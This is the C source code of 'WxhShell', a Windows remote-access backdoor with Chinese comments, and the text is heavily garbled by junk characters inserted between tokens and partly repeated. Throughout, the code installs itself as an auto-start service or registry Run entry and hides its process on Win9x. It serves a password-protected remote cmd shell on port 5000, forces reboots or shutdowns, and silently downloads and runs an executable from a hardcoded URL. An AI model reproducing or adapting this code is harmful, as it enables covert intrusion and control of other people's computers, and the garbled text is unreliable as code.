(GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); sk$MJSE
~ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); yFshV\ 1'R]An BV if (!NtQueryInformationProcess) return 0; tH2y:o72 PR{?l hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ;->(hFJt if(!hProcess) return 0; ; @-7'%(C 2ME3= C if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; #)hM]=,e |JSj<~1ki CloseHandle(hProcess); L/"XIMI*Xg F.?^ko9d hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >"{3lDyq- if(hProcess==NULL) return 0; Qy*`s !CTchk<{( HMODULE hMod; QK%{\qu char procName[255]; ; GRSe unsigned long cbNeeded; #)tt}GX N{tNe-5 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); pz6fL=Xd My76]\Psh CloseHandle(hProcess); n87B[R x;99[C!$ if(strstr(procName,"services")) return 1; // 以服务启动
7pMrYIP V?t^ J7{' return 0; // 注册表启动 YbND2i } gb|C592R5C 9h<]; // 主模块 fl!8 \4 int StartWxhshell(LPSTR lpCmdLine) g[0b>r7 { ib0M$Y1tIS SOCKET wsl; -{>JF BOOL val=TRUE; PR|F-/o int port=0; |#L U"D struct sockaddr_in door; GP<A v1 9sFZs]uM if(wscfg.ws_autoins) Install(); G}&B{Ir e]'ui<` port=atoi(lpCmdLine); ZC@ 33Q( (2[tQ`~ if(port<=0) port=wscfg.ws_port; [DC8X P5< ?V4?r2$c WSADATA data; (q59cA w~X if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; f6j;Y<}' g y9{KBM%h if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ?"N,do setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); btJ:Wt} door.sin_family = AF_INET; $5jQm,V$K door.sin_addr.s_addr = inet_addr("127.0.0.1"); X&8&NkH door.sin_port = htons(port); oa? bOm <xKer<D
% if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ) kfA5xi[ closesocket(wsl); WId"2W3M return 1; [
p$f)' } $d3al%Uo GF*8(2h2 if(listen(wsl,2) == INVALID_SOCKET) { ]wMd!.lm- closesocket(wsl); )gYsg return 1; 0D+[W5TB } Wl/oun~o Wxhshell(wsl); 7+0Kg'^+n WSACleanup(); c3W9" I} m\(TS-" return 0; Z,^`R] 9 OS;qb:; } pwtB{6)VH{ !}<d6&!py // 以NT服务方式启动 S}f3b N VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) rG|lRT3-K { rkugV&BhV DWORD status = 0; )y4bb^;z DWORD specificError = 0xfffffff; 9E5Ec~l 3gV
17a serviceStatus.dwServiceType = SERVICE_WIN32; XZD9vFj1Z serviceStatus.dwCurrentState = SERVICE_START_PENDING; zePVB-@u serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 18f!k serviceStatus.dwWin32ExitCode = 0; :W6`{Z serviceStatus.dwServiceSpecificExitCode = 0; 5ltEnvN serviceStatus.dwCheckPoint = 0; dQT A^m serviceStatus.dwWaitHint = 0; Q1yMI8 AE?MEag hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 2#1"(m{ if (hServiceStatusHandle==0) return; Ri=:=oF( 2$?bLvk status = GetLastError(); ebK/cPa8 if (status!=NO_ERROR) OC34@YUj[ { |ZZl3l=] serviceStatus.dwCurrentState = SERVICE_STOPPED; _&)^a)Nu serviceStatus.dwCheckPoint = 0; NF8'O serviceStatus.dwWaitHint = 0; ?~X*\ serviceStatus.dwWin32ExitCode = status; vik A
serviceStatus.dwServiceSpecificExitCode = specificError; ;rXkU9 SetServiceStatus(hServiceStatusHandle, &serviceStatus); R?MRRq return; xucrp::g } :FB-GNd w.Cw)#N serviceStatus.dwCurrentState = SERVICE_RUNNING; qWX%[i% serviceStatus.dwCheckPoint = 0; 7iMBDkb7 serviceStatus.dwWaitHint = 0; Hvqvggfi if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); A#;6~f } H3\4&q Bn:"qN~ // 处理NT服务事件,比如:启动、停止 J<hqF4z VOID WINAPI NTServiceHandler(DWORD fdwControl) :/UO3 c( { OH.^m6Z switch(fdwControl) 9Rl-Jz8g { B=14
hY@` case SERVICE_CONTROL_STOP: omz%:'m`~ serviceStatus.dwWin32ExitCode = 0; j3>0oe! serviceStatus.dwCurrentState = SERVICE_STOPPED; KYa}k0tVAp serviceStatus.dwCheckPoint = 0; Q+@/.qJ serviceStatus.dwWaitHint = 0; [A~n=m5H { z ntvKOIh SetServiceStatus(hServiceStatusHandle, &serviceStatus); m}Xb #NAF8 } Q^13KWvuV return; *Z}^T:3iw} case SERVICE_CONTROL_PAUSE: %87D(h!.I4 serviceStatus.dwCurrentState = SERVICE_PAUSED; RN:VsopL break; "/H B# case SERVICE_CONTROL_CONTINUE: )gF>nNE serviceStatus.dwCurrentState = SERVICE_RUNNING; }_Y&kaM break; ~5`p/.L)ZD case SERVICE_CONTROL_INTERROGATE: vge4&H3a& break; 2L!s'^m- }; ?R-4uG[( SetServiceStatus(hServiceStatusHandle, &serviceStatus); bd|ZhRsL } ox:m;-Ml?_ >A&D/kMO // 标准应用程序主函数 @}9*rWJIE int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 3DjlX* { 0\tV@ 6p2= %!P^se // 获取操作系统版本 rtM29~c>@ OsIsNt=GetOsVer(); )M3}6^s] GetModuleFileName(NULL,ExeFile,MAX_PATH); xXb7/.*qE Ln-UN$2~F // 从命令行安装 M2Q*#U>6r if(strpbrk(lpCmdLine,"iI")) Install(); L#h uTKX} v7-z<'?s~ // 下载执行文件 $-^
;Jl if(wscfg.ws_downexe) { LV}Z[\? if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ohEIr2 WinExec(wscfg.ws_filenam,SW_HIDE); 7Eb |AR } z`]sWi F0 *2,tGZ if(!OsIsNt) { \B/!}Tn; // 如果时win9x,隐藏进程并且设置为注册表启动 Y @(izC&h HideProc(); GZxPh&BM? StartWxhshell(lpCmdLine); GN1Q\8)o } r4MPs-}oF else >o/+z18x if(StartFromService()) B`<a~V // 以服务方式启动 ]mzghH:E StartServiceCtrlDispatcher(DispatchTable); Mo'6<"x else 9U]3B)h%m // 普通方式启动 r..&6-%:N StartWxhshell(lpCmdLine); m!Y4+KTwD` 3A&:
c/ return 0; C[ma!he } hqDnmzG Mi^/`1 yC&u^{~BC +HDfEo T =========================================== $I0&I[_LzK 5,_DM
JnE\z*NB w;b;rHAZ\ (e"\%p` P>}OwW " bU4l|i;j Z Jgy!)1n #include <stdio.h> '_q&~M{ #include <string.h> t~v_k\`{ #include <windows.h> E$"`|Df #include <winsock2.h> Q]1s*P #include <winsvc.h> yDapl( #include <urlmon.h> e6`g[Ap QZwZ4$jkiO #pragma comment (lib, "Ws2_32.lib") tkIpeL[d #pragma comment (lib, "urlmon.lib") +b
sc3 S1I# qb #define MAX_USER 100 // 最大客户端连接数 #fVk;]u`[3 #define BUF_SOCK 200 // sock buffer ~J:qG9|]} #define KEY_BUFF 255 // 输入 buffer zhZ!!b^6< mYx6JU*` #define REBOOT 0 // 重启 b[U;P=;= #define SHUTDOWN 1 // 关机 uqHI/4 0<[g7BbR #define DEF_PORT 5000 // 监听端口 vJ?j#Ch r91b]m3xL #define REG_LEN 16 // 注册表键长度 Bo+Yu(|cL #define SVC_LEN 80 // NT服务名长度 Je*hyi7 }PUY~
u // 从dll定义API ^ *1hz< typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 0/5{v6_rG typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); d_1uv_P typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); GIM'H;XG typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); #O1%k;BL mS?W+jy% // wxhshell配置信息 dbG902dR struct WSCFG { G2
0 int ws_port; // 监听端口 ]?*'[ char ws_passstr[REG_LEN]; // 口令 bQgtZHO int ws_autoins; // 安装标记, 1=yes 0=no
0`QF: char ws_regname[REG_LEN]; // 注册表键名 GHRr+ char ws_svcname[REG_LEN]; // 服务名 XXg~eu? char ws_svcdisp[SVC_LEN]; // 服务显示名 4+B&/}FDLo char ws_svcdesc[SVC_LEN]; // 服务描述信息 _T.T[%-&= char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ;9;jUQ]MyG int ws_downexe; // 下载执行标记, 1=yes 0=no bLsN?_jy char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 7pO/!Lm char ws_filenam[SVC_LEN]; // 下载后保存的文件名 >&[q`i{ O0_kLH$. }; 2TccIv E#n=aY~u- // default Wxhshell configuration /?%1;s:' struct WSCFG wscfg={DEF_PORT, =m-nvXD "xuhuanlingzhe", {d '>J<Da 1, &BxZ}JH=k "Wxhshell", je;|zfe] "Wxhshell", \R[f< K% "WxhShell Service", ,1
^IFBJ "Wrsky Windows CmdShell Service", K3^2;j1F Q "Please Input Your Password: ", LEd@""h 1, )|,Zp`2/ "http://www.wrsky.com/wxhshell.exe", T@R2H&L "Wxhshell.exe" -Oplk* }; sTmdoqTK! ` InBhU> // 消息定义模块 lobC G char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; >@0U B@ char *msg_ws_prompt="\n\r? for help\n\r#>"; 9jI5bi) char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; b^q%p1 char *msg_ws_ext="\n\rExit."; `^df la char *msg_ws_end="\n\rQuit."; RjxFlKs8 char *msg_ws_boot="\n\rReboot..."; 3of0f{ZTj char *msg_ws_poff="\n\rShutdown..."; , Y^GQ`~# char *msg_ws_down="\n\rSave to "; lho0Xy
gn Rm[{^V.Z$ char *msg_ws_err="\n\rErr!"; 2*@@Bw.XA char *msg_ws_ok="\n\rOK!"; 5H2Ugk3 ],F@ .pg char ExeFile[MAX_PATH]; }u.I%{4 int nUser = 0; y_M,p?]^, HANDLE handles[MAX_USER]; P?|>,
\t int OsIsNt; ,uL}O]L tHmV4 H$ SERVICE_STATUS serviceStatus; "R0(!3 SERVICE_STATUS_HANDLE hServiceStatusHandle; 1StaQUB b[^|.>b // 函数声明 8,L)=3m- int Install(void); 4W<8u( int Uninstall(void); JIXZI\Fk int DownloadFile(char *sURL, SOCKET wsh); ~\OZEEI int Boot(int flag); %?PRBE'}' void HideProc(void); :~Ppv5W. int GetOsVer(void); i#%!J:_= int Wxhshell(SOCKET wsl); '3]M1EP void TalkWithClient(void *cs); k;f%OQsF_ int CmdShell(SOCKET sock); M.K%;j` int StartFromService(void); ;Dp<|n int StartWxhshell(LPSTR lpCmdLine); r*g<A2g% /DX6Hkkj % VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); "b[w%KYyl VOID WINAPI NTServiceHandler( DWORD fdwControl ); F.iJz4ya_ nEgYypwr // 数据结构和表定义 4Un%p7Y~ SERVICE_TABLE_ENTRY DispatchTable[] = ;3&HZq6Z ( { Gj&`+!\ {wscfg.ws_svcname, NTServiceMain}, +:&|]$8< {NULL, NULL} 'wjL7PI }; r:5u(2 s:*" b' // 自我安装 !"SuE)WM int Install(void) [! YSW' { g|<$\} char svExeFile[MAX_PATH]; -"5r-q q* HKEY key; s&L 6C[ strcpy(svExeFile,ExeFile); zRFvWOxC\ UF;iw // 如果是win9x系统,修改注册表设为自启动 zXGi if(!OsIsNt) { k3UKGP1 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zhVkn]z~* RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Qsg([K RegCloseKey(key); wZb77 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { N*'d]P2P`J RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Eb89B%L62G RegCloseKey(key); HME`7 dw? return 0; )KKmV6>b } \*\ )zj*r } W+BHt{ } Fjw+D1q. else { Y(R .e7] lj 2OOU{ // 如果是NT以上系统,安装为系统服务
K2D,
*w SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); =6xxZy[ if (schSCManager!=0) wY*tq{7 { f5,!,]XO SC_HANDLE schService = CreateService sh;>6xB ( `|e3OCU schSCManager, fcisDu8n wscfg.ws_svcname, 7i88iT wscfg.ws_svcdisp, ;`
!j~ SERVICE_ALL_ACCESS, ?y2v?h" SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , L)3JTNiB SERVICE_AUTO_START, ^ ^k]2oG SERVICE_ERROR_NORMAL, %ql2 XAY svExeFile, Pvz\zRq NULL, Qn`Fq,uvL NULL, v|wO qS NULL, .NT9dX NULL, -$o4WSd~ NULL oNp(GQ@0 ); Z?)=4| if (schService!=0) CYZ0F5+t { n0opb [ ? CloseServiceHandle(schService); LIfYpn6 CloseServiceHandle(schSCManager); R_B`dP<"~Y strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); A x'o|RE)x strcat(svExeFile,wscfg.ws_svcname); "w:?WS if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { aS&,$sR RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); c. 06Sw* RegCloseKey(key); |`Iispn return 0; .y>G/8_i } o$k9$H>Na } CQ:38l\`gd CloseServiceHandle(schSCManager); Itv}TK
eF } vu`,:/|h } siD/`T& oETl?Vt return 1; r;8X6C } q1,jDJglZ XG01g3 // 自我卸载 ;}4^WzmK^( int Uninstall(void) UBM:.*wN { %>EM ^Z HKEY key; [)t1" y28 e=i if(!OsIsNt) { Rp_)LA if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !+T29QYK8 RegDeleteValue(key,wscfg.ws_regname); ~'#,*kA:6 RegCloseKey(key); N_R(i3c6U! if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { lFbf9s:$B RegDeleteValue(key,wscfg.ws_regname); Jq_AR!} % RegCloseKey(key); FwqaWEk return 0; <L+y
6B } evGUl~</~ } >6A8+= } 48RSuH else { zaG1 Q8^g WBc SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); MhZ\]CAs9 if (schSCManager!=0) d#-'DO{k { rVv4R/3+ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); maVfLVx- if (schService!=0) =jkiM_<h { Qgxpq{y if(DeleteService(schService)!=0) { YK )e CloseServiceHandle(schService); >wf.C% CloseServiceHandle(schSCManager); k@>y<A{;D return 0; @w73U;9\ } G1G*TSf CloseServiceHandle(schService); FS7@6I2Ts } oP_}C[ CloseServiceHandle(schSCManager); 1)hO!% } tPaNhm[-q7 } Zk>#T:{h B;c2gu
return 1; nj6|WJ } ?XB[awTD~ R_2T" // 从指定url下载文件 H&!?c5 int DownloadFile(char *sURL, SOCKET wsh) 0{qe1pb w { ZiaHLpk HRESULT hr; m*~Iu<5L char seps[]= "/"; &%r<_1 char *token; ]? %*3I char *file; f7?IXDQ>! char myURL[MAX_PATH]; D2]i*gs char myFILE[MAX_PATH]; dZ`c GL'l "L strcpy(myURL,sURL); `%Dz 8Z token=strtok(myURL,seps); 8C8,Q\WV(~ while(token!=NULL) <3!Q Xc { tO+Lf2Ni+ file=token; ].HHTCD`c token=strtok(NULL,seps); D8f4X
w}= } 1Uk Gjw1J D|D)782 GetCurrentDirectory(MAX_PATH,myFILE); CqR^w( strcat(myFILE, "\\"); odhcU5 strcat(myFILE, file); ,*CPG$L send(wsh,myFILE,strlen(myFILE),0); >!WH%J send(wsh,"...",3,0); &n~v;M hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); D.*o^{w| if(hr==S_OK) ,vB~9^~ return 0; $3]]<oH else _*fOn@Vwo return 1; ndHUQ$/( `Jn2(+ } 1<;G
oC" .O6(QI*
// 系统电源模块 =XFyEt int Boot(int flag) w@x||K= Z { +*Zjo&pc HANDLE hToken; N"A`tc5& TOKEN_PRIVILEGES tkp; #Q@~TW w7Ij=!) if(OsIsNt) { qaG8: OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); dy3fZ(=q^ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); T\w{&3ONm tkp.PrivilegeCount = 1; c'
Q4Fzj0' tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; om2)Cd9~7 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); E7 P'} if(flag==REBOOT) { %r]V:d+ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) J*4T|#0 return 0; pvhN.z } '$5Qdaj else { Xx1e SX if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) _K3;$2d|R return 0; GTke<R } ou=33}uO } 5Kl;(0B9 else { (?1/\r if(flag==REBOOT) { i-,_:z=J if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) /kAbGjp0 return 0; 6[Wv g } DLO2$d else { h^'+y1 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) _b9>ZF~ return 0; w^MiyX } &] O^d4/ } Y2$xlqQd" $S/EIN c return 1; Y2}m/7aF } /YHnt-}v, q9(Z9$a(\ // win9x进程隐藏模块 P
c'\ void HideProc(void) La$?/\Dv) { !q 9PO RV),E:? HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); B-h@\y if ( hKernel != NULL ) B^Hhrz! { ny1Dg$ui2 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ZMGC@4^F ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); NIG*
}[}P FreeLibrary(hKernel); 2%vG7o,# } {_ {zs!r vngn^2 return;
xM$AhH } qVE<voB8 S|]\q-qA& // 获取操作系统版本 gP`CQ0t int GetOsVer(void) R%"'k<`# { PAXm OSVERSIONINFO winfo; <=%=,Yk winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ?%*p!m GetVersionEx(&winfo); vF9fXY= if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) V^< Zs//7 return 1; pYh\l.@qf else !d&SVS^mo return 0; y>0Gmr } Jk57| )/ |Q$Dj!!1P // 客户端句柄模块 bzh: int Wxhshell(SOCKET wsl) %*OQH?pyx} { 0zE(:K SOCKET wsh; fvRqt)Ks struct sockaddr_in client; ]v l?J DWORD myID; e17]{6y NmTo/5s while(nUser<MAX_USER) ''}2JJU{ { A'n{K# int nSize=sizeof(client); WNSEc% wsh=accept(wsl,(struct sockaddr *)&client,&nSize); +iw4>0pi if(wsh==INVALID_SOCKET) return 1; 0+NGFX\p x{S2 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ,Bl_6ZaL if(handles[nUser]==0) ;0-R"c)- closesocket(wsh); {dwlW`{ else $pauPEe nUser++; ~7:Q+ 0,, } t@jke WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); )H+ p6< 8|tnhA]~ return 0; uP.dCs9- } T=':$(t (#nB90E{* // 关闭 socket `!<#'PR void CloseIt(SOCKET wsh) f=-R<l { VYkUUp closesocket(wsh); "Fz1:VV& nUser--; 6Oy6r
ExitThread(0); T3PwM2em_` } d?aZk-|c tNljv >vI // 客户端请求句柄 ])?[9c void TalkWithClient(void *cs) ZUS06#t} { m}'!W`< rW+}3] !D/ SOCKET wsh=(SOCKET)cs; 0F 6~S char pwd[SVC_LEN]; P?+
VR=t char cmd[KEY_BUFF]; \lK ` char chr[1]; G,6 i!M int i,j; )B"E+Q'h{7 tc{Qd&"( while (nUser < MAX_USER) { p5J!j I= 95Q^7oI if(wscfg.ws_passstr) { _7
^:1i~:. if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <(l`zLf4p //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); YwZ]J //ZeroMemory(pwd,KEY_BUFF); }brBhe8a i=0; 0B"_St}3D while(i<SVC_LEN) { f |NXibmP V5p->X2# // 设置超时 s3=slWY= fd_set FdRead; -fOBM 4 struct timeval TimeOut; @ X5#? FD_ZERO(&FdRead); _z>%h>L|g FD_SET(wsh,&FdRead); )gV @6w TimeOut.tv_sec=8; T1;>qgp4b TimeOut.tv_usec=0; u56F;y int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 9]:F!d/ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); fvj .M0pb^M if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); bSa]={}L( pwd=chr[0]; dw%g9DT if(chr[0]==0xd || chr[0]==0xa) { @#yl_r% pwd=0; 0@RVM| break; =b>e4I@ } x M{SFF i++; 7{38g } K;]Dh? 9&{HD // 如果是非法用户,关闭 socket NG:
f>R if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); e^UUR-K% } W
Haf}.V zICrp send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ,_@) IN send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Bnw^W_ =KHX_ib while(1) { 2\CZ"a#[ ]PB95% ZeroMemory(cmd,KEY_BUFF); 7Ac.^rv5 60l!3o"p! // 自动支持客户端 telnet标准 {dlG3P='`f j=0; q><wzCnRu~ while(j<KEY_BUFF) { ;A0ZcgF if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (O/W`qo cmd[j]=chr[0]; oSl}A,aQ( if(chr[0]==0xa || chr[0]==0xd) { G`f|#-} cmd[j]=0; cbW=kQc_ break; !ZY1AhGZ } @]L$eOV_ j++; S";}gw?r6 } Eo@rrM: .Dy2O*` // 下载文件 o1H6E1$= if(strstr(cmd,"http://")) { I_|W'%N] send(wsh,msg_ws_down,strlen(msg_ws_down),0); &_' evZ8 if(DownloadFile(cmd,wsh)) V!s#xXD } send(wsh,msg_ws_err,strlen(msg_ws_err),0); fC/P W`4Ae else F(w<YU%6 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~xcU6@/ } >RrG&Wv59 else { zrwzI+4
zuF]E+ switch(cmd[0]) { Mtn{63cK uJa.]J~L= // 帮助 Fe2t[y:8h case '?': { ;8cTy8 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); f]2;s#cu break; f||S?ns_ } EmyE%$*T // 安装 a[=ub256S case 'i': { Wr8}=\/ if(Install()) KK4rVb:- send(wsh,msg_ws_err,strlen(msg_ws_err),0); T*k}E else VRg
y send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mqDI'~T9 u break; Yw\lNhoPS } rpEN\S%7P // 卸载 ~SI G0U8 case 'r': { ;8b!T
-K if(Uninstall()) 3!8 u send(wsh,msg_ws_err,strlen(msg_ws_err),0); +kq+x6& else `2y?(BJp send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~6{U^3 break; 0Kg?X } 6Q_ZP#oAV // 显示 wxhshell 所在路径 &td case 'p': { f67t.6Vw2+ char svExeFile[MAX_PATH]; -}RGz_LO/ strcpy(svExeFile,"\n\r"); "om[S :ai strcat(svExeFile,ExeFile); 0iKAg send(wsh,svExeFile,strlen(svExeFile),0); !:v7SRUXb break; \T?6TDZ] } l!:L<B // 重启 H>%L@Btw case 'b': { ED>P>Gg send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Us_1 #$p, if(Boot(REBOOT)) AmrVxn4 send(wsh,msg_ws_err,strlen(msg_ws_err),0); %0'7J@W else { {D8yqO A} closesocket(wsh); sYB2{w
ExitThread(0); "oh;?gQ. } z~ua#(z1S break; V14+?L } PgsG*5WQ // 关机 ^JGwCHeb|H case 'd': { H!|g?"C send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); wGWv<<Qw" if(Boot(SHUTDOWN)) |3>%(4
OS send(wsh,msg_ws_err,strlen(msg_ws_err),0); rx@2Dmt6
else { {9{PU&?( closesocket(wsh); ei~f1$zc#h ExitThread(0); 7v}(R:* } BCX2C break; ;_0frX } $y%IM`/w // 获取shell At&kW3( case 's': { ER;\Aes*? CmdShell(wsh); @Thrizh closesocket(wsh); 1/%5pb2\ ExitThread(0); N;4wbUPL7h break; @S 0mNA } Kaji&Ibd // 退出 o3:BH@@ case 'x': {
Az/B/BLB send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); g*!1S CloseIt(wsh); eV"Uv3 break; 2SlI5+u } N$u: ! // 离开 1?G%&X@
X case 'q': { MjK<n[. send(wsh,msg_ws_end,strlen(msg_ws_end),0); 4~2 9, closesocket(wsh); 55=YM'5] WSACleanup(); B_RF)meux exit(1); 9<o*aFgCa break; V7B%o:FZo } Bq,MTzxD } "*:?m{w5 } h<qi[d4X kV4L4yE // 提示信息 YD0j&@. if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m%c]+Our` } 5x!rT&!G } m ;wj|@cF %CqG/ol return; _|#P~Ft
} x@D>JG "BIhd*K[~ // shell模块句柄 g+Y &rz int CmdShell(SOCKET sock) a6?t?:~| { n*caP9B STARTUPINFO si; V(Cxd.u ZeroMemory(&si,sizeof(si)); 2nCHL'8N si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; w|4CBll si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; EAE#AB-A PROCESS_INFORMATION ProcessInfo; yoz-BS char cmdline[]="cmd"; )(pgJLW CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); L]l?_#*x return 0; ]ZH6
.@| } =L`PP>"rW 5UX- Qqr // 自身启动模式 M~)iiKw~MY int StartFromService(void) W{1l?Wo { 8"rK typedef struct -![{Zb@ { 5acC4v!T DWORD ExitStatus; #TcX5 DWORD PebBaseAddress; B] Koi1B DWORD AffinityMask; %.8(R
& DWORD BasePriority; ;u<F,o( ULONG UniqueProcessId; Swgvj(y;!A ULONG InheritedFromUniqueProcessId; 4L r,}tA } PROCESS_BASIC_INFORMATION; X^i3(N .=) *Qx+ PROCNTQSIP NtQueryInformationProcess;
ONUa7 }%<cFi & static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -s^cy+jd static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4 b}'W} IDdu2HNu HANDLE hProcess; [Scao $ PROCESS_BASIC_INFORMATION pbi; "2 D{X h;mOfF HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Z{2QDjAI; if(NULL == hInst ) return 0; ,+x\NY2d X @/X65=[ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,V)hV@Dk g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 3wQ\L=
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); &SPIu, Ga`
8oY+~ if (!NtQueryInformationProcess) return 0; bPMf='F{r I<"UQ\) hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 3f:]*U+O if(!hProcess) return 0; '1d0
*5+6k hTPvt if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; %D7 '7E8. %Rf{v5 CloseHandle(hProcess); 4-9cp=\PE g@]1H41 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); d
<zD@ z if(hProcess==NULL) return 0; kmt+E'^] 4$4Tx9C HMODULE hMod; ca[*#xiJ char procName[255]; fT=ZiHJ3Gu unsigned long cbNeeded; .5tXwxad" '=d y
